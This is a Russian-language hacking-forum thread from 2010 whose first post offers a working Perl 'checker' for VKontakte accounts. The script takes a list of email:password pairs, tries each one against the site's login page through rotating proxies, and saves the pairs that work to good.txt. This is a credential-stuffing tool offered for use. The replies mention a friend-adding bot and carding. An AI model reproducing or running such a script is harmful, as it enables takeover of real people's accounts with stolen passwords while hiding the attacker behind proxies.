Вернуться   D3Scene.Ru Софт портал игр | Хаки | Проги | Статьи > Другое > Социальные Сети > ВКонтакте > Программы, боты
Присоединяйся к нам



Ответ
 
Опции темы Опции просмотра
Старый 13.02.2010, 14:48   #1
Гость_за_инактив
 
Аватар для gun15
 
Регистрация: 05.01.2010
Адрес: localhost
Сообщений: 16
Репутация: 1
Отправить сообщение для gun15 с помощью ICQ
Автор Сообщение

чеккер аккаунтов вконтакте на перле с поддержкой прокси (.pl)


Чекер фКонтакте (c)0ded by $p01nt с доработкой от _Storm_ [Ссылки скрыты от гостей.]
Теперь можно кормить скрипту большой файл с акками. После каждого прохода по акку скрипт записывает
результат в файл. Также нормально работает с паролями на русском языке.

Дописывал скрипт лично Я ! Сторм мой второй ник! СКРИПТ АКТУАЛЕН

PHP код:
#! /usr/bin/perl 
#Чекер фКонтакте (c)0ded by $p01nt с доработкой от _Storm_  http://www.bayanmazday.ru/ 
# Теперь можно кормить скрипту большой файл с акками. После каждого прохода по акку скрипт записывает  
# результат в файл. 

 
use IO::Seekable
 use 
Encode
 use 
warnings
 use 
strict
 use 
HTTP::Cookies;  
 use 
LWP 5.64

 
open(ACC,"accounts.txt");my @acc=<ACC>; 
 
open(PROXY,"proxy.txt");my @proxy=<PROXY>; 
  
  
 foreach (@
acc){ 
 
REPEAT
  
  
     
chomp($_); 
 
my $proxyrandom=rand($#proxy); 
 
$proxyrandom=$proxy[$proxyrandom]; 
 
my ($email,$pass)=split(":",$_); 
      
     
Encode::from_to($pass"UTF8","windows-1251"); 
      
 
my $browser LWP::UserAgent->new();  
 
my $cookies HTTP::Cookies->new();  
 
$browser->timeout(20); 
 
$browser->cookie_jar($cookies);  
  if(
defined $proxyrandom){ 
 
$browser->proxy(['http']=>"http://".$proxyrandom."/"); } 

 
my $response=$browser->post('http://vkontakte.ru/login.php',  
       [
'email' => $email,  
        
'pass' => $pass])->code
 if (
$response == 302) { 
  
 
open(LOG,">>good.txt"); 
 print 
"$email:$pass:$proxyrandom - GOOD\n"
 print (
LOG "$email:$pass\n");   
 
close(LOG); 
  
 }  
 
elsif($response == 500 or $response == 501 or $response == 502) {goto REPEAT;}    
  
 else { 
 
open(LOGS,">>bad.txt");  
 print 
"$email:$pass:$proxyrandom - BAD\n";  
 print (
LOGS "$email:$pass\n");  
 
close(LOGS); } 
 } 

Последний раз редактировалось gun15; 13.02.2010 в 15:14.
  Ответить с цитированием Наверх
Пользователь сказал cпасибо:
MiRinDA (13.02.2010)
Старый 14.02.2010, 00:53   #2
Гость_за_инактив
 
Аватар для sweetness
 
Регистрация: 19.11.2008
Сообщений: 16
Репутация: 0
Отправить сообщение для sweetness с помощью ICQ
По умолчанию

а нет скрипта который в друзья добавляет?)
  Ответить с цитированием Наверх
Старый 14.02.2010, 01:07   #3
Освоившийся


 
Аватар для ParniSha
 
Регистрация: 11.10.2009
Адрес: Panama
Сообщений: 648
Репутация: 475
По умолчанию

сторм не который картон продаёт ?
  Ответить с цитированием Наверх
Старый 14.02.2010, 17:37   #4
Гость_за_инактив
 
Аватар для gun15
 
Регистрация: 05.01.2010
Адрес: localhost
Сообщений: 16
Репутация: 1
Отправить сообщение для gun15 с помощью ICQ
Автор По умолчанию

Нет Я картон не продаю! А на счет добавления друзей видел скрипт на ачате, но сейчас ограничение стоит 20 друзей вроде за сутки максимум!

Последний раз редактировалось gun15; 14.02.2010 в 17:39.
  Ответить с цитированием Наверх
Ответ


Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 
Опции темы
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход


Powered by vBulletin
Copyright © 2017 vBulletin Solutions, Inc.
Перевод: zCarot | Дизайн: G-A | Верстка: OldEr
Текущее время: 23:07. Часовой пояс GMT +4.